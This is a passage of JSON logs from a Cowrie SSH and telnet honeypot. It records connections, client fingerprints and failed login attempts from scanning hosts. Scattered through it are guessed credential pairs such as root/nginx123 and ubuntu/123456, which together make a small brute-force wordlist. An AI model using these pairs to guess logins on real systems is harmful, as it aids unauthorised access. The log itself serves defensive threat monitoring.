a2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:40.568126Z","src_ip":"59.126.224.134","session":"839c33ea709d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hackerwin98","message":"login attempt [root/hackerwin98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:41.461587Z","src_ip":"59.126.224.134","session":"839c33ea709d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:42.704902Z","src_ip":"59.126.224.134","session":"839c33ea709d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55430,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fafde553d0a","protocol":"telnet","message":"New connection: 192.119.13.58:55430 (10.17.0.5:23) [session: 8fafde553d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:43.317046Z"}
{"eventid":"cowrie.session.closed","duration":34.27203297615051,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:44.422257Z","src_ip":"192.119.13.58","session":"21016ac98dff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":60896,"dst_ip":"10.17.0.5","dst_port":22,"session":"5205cc22bdff","protocol":"ssh","message":"New connection: 43.135.177.217:60896 (10.17.0.5:22) [session: 5205cc22bdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:53.633121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:53.637520Z","src_ip":"43.135.177.217","session":"5205cc22bdff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:53.705217Z","src_ip":"43.135.177.217","session":"5205cc22bdff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx123","message":"login attempt [root/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:54.009751Z","src_ip":"43.135.177.217","session":"5205cc22bdff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46244,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fcfbfab0039","protocol":"telnet","message":"New connection: 192.119.13.58:46244 (10.17.0.5:23) [session: 2fcfbfab0039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:54.294419Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:55.081202Z","src_ip":"43.135.177.217","session":"5205cc22bdff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":42230,"dst_ip":"10.17.0.5","dst_port":22,"session":"10cd8eaff11e","protocol":"ssh","message":"New connection: 35.225.56.202:42230 (10.17.0.5:22) [session: 10cd8eaff11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:59.946857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:59.951121Z","src_ip":"35.225.56.202","session":"10cd8eaff11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:59.985847Z","src_ip":"35.225.56.202","session":"10cd8eaff11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":40956,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49831bf5b94","protocol":"ssh","message":"New connection: 43.134.177.27:40956 (10.17.0.5:22) [session: b49831bf5b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:00.056381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:00.062042Z","src_ip":"43.134.177.27","session":"b49831bf5b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"usermagic","message":"login attempt [root/usermagic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:00.167883Z","src_ip":"35.225.56.202","session":"10cd8eaff11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:00.302161Z","src_ip":"43.134.177.27","session":"b49831bf5b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46744,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70d590afcde","protocol":"telnet","message":"New connection: 192.119.13.58:46744 (10.17.0.5:23) [session: d70d590afcde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:00.656142Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:01.207058Z","src_ip":"35.225.56.202","session":"10cd8eaff11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123zxc","message":"login attempt [root/qwe123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:01.311316Z","src_ip":"43.134.177.27","session":"b49831bf5b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8f88cf8d0d","protocol":"telnet","message":"New connection: 192.119.13.58:49352 (10.17.0.5:23) [session: 3a8f88cf8d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:01.570977Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:02.553621Z","src_ip":"43.134.177.27","session":"b49831bf5b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.047497034072876,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:04.495489Z","src_ip":"192.119.13.58","session":"d415a92ca4d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.43865132331848,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:10.542745Z","src_ip":"192.119.13.58","session":"605e6ed4659b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.37695646286011,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:11.883601Z","src_ip":"192.119.13.58","session":"1954cd6e1ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.01176452636719,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:12.996454Z","src_ip":"192.119.13.58","session":"48f630155f63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37254,"dst_ip":"10.17.0.5","dst_port":23,"session":"f500651e10cd","protocol":"telnet","message":"New connection: 192.119.13.58:37254 (10.17.0.5:23) [session: f500651e10cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:14.652308Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":60496,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36e742a15a7","protocol":"ssh","message":"New connection: 193.233.48.169:60496 (10.17.0.5:22) [session: c36e742a15a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:17.223444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:17.228883Z","src_ip":"193.233.48.169","session":"c36e742a15a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:17.353123Z","src_ip":"193.233.48.169","session":"c36e742a15a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agent","message":"login attempt [root/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:17.876573Z","src_ip":"193.233.48.169","session":"c36e742a15a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42970,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea553ec0826","protocol":"ssh","message":"New connection: 80.94.92.184:42970 (10.17.0.5:22) [session: 6ea553ec0826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:18.062649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:18.208824Z","src_ip":"80.94.92.184","session":"6ea553ec0826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:18.213143Z","src_ip":"80.94.92.184","session":"6ea553ec0826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:19.002610Z","src_ip":"193.233.48.169","session":"c36e742a15a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:19.801400Z","src_ip":"80.94.92.184","session":"6ea553ec0826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:20.958681Z","src_ip":"80.94.92.184","session":"6ea553ec0826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.80195927619934,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:26.118882Z","src_ip":"192.119.13.58","session":"8fafde553d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.1876220703125,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:26.537019Z","src_ip":"192.119.13.58","session":"d400f76fae54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49088,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0bd0edf06af","protocol":"telnet","message":"New connection: 192.119.13.58:49088 (10.17.0.5:23) [session: e0bd0edf06af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:31.193104Z"}
{"eventid":"cowrie.session.closed","duration":37.98835468292236,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:32.282671Z","src_ip":"192.119.13.58","session":"2fcfbfab0039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58302,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e52a6fffc8e","protocol":"telnet","message":"New connection: 192.119.13.58:58302 (10.17.0.5:23) [session: 0e52a6fffc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:34.702814Z"}
{"eventid":"cowrie.session.closed","duration":33.65598177909851,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:35.226835Z","src_ip":"192.119.13.58","session":"3a8f88cf8d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e70454fc7753","protocol":"telnet","message":"New connection: 192.119.13.58:34670 (10.17.0.5:23) [session: e70454fc7753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:36.447496Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":39454,"dst_ip":"10.17.0.5","dst_port":22,"session":"570fb17873ce","protocol":"ssh","message":"New connection: 43.134.177.27:39454 (10.17.0.5:22) [session: 570fb17873ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:36.598071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:36.602446Z","src_ip":"43.134.177.27","session":"570fb17873ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:36.840675Z","src_ip":"43.134.177.27","session":"570fb17873ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asterisk","message":"login attempt [root/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:37.830422Z","src_ip":"43.134.177.27","session":"570fb17873ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:39.072505Z","src_ip":"43.134.177.27","session":"570fb17873ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.29957437515259,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:40.955571Z","src_ip":"192.119.13.58","session":"d70d590afcde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":57292,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c420678e8ef","protocol":"ssh","message":"New connection: 5.181.124.9:57292 (159.203.135.109:22) [session: 0c420678e8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:41.474692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:45:41.484983Z","src_ip":"5.181.124.9","session":"0c420678e8ef","protocol":"ssh"}
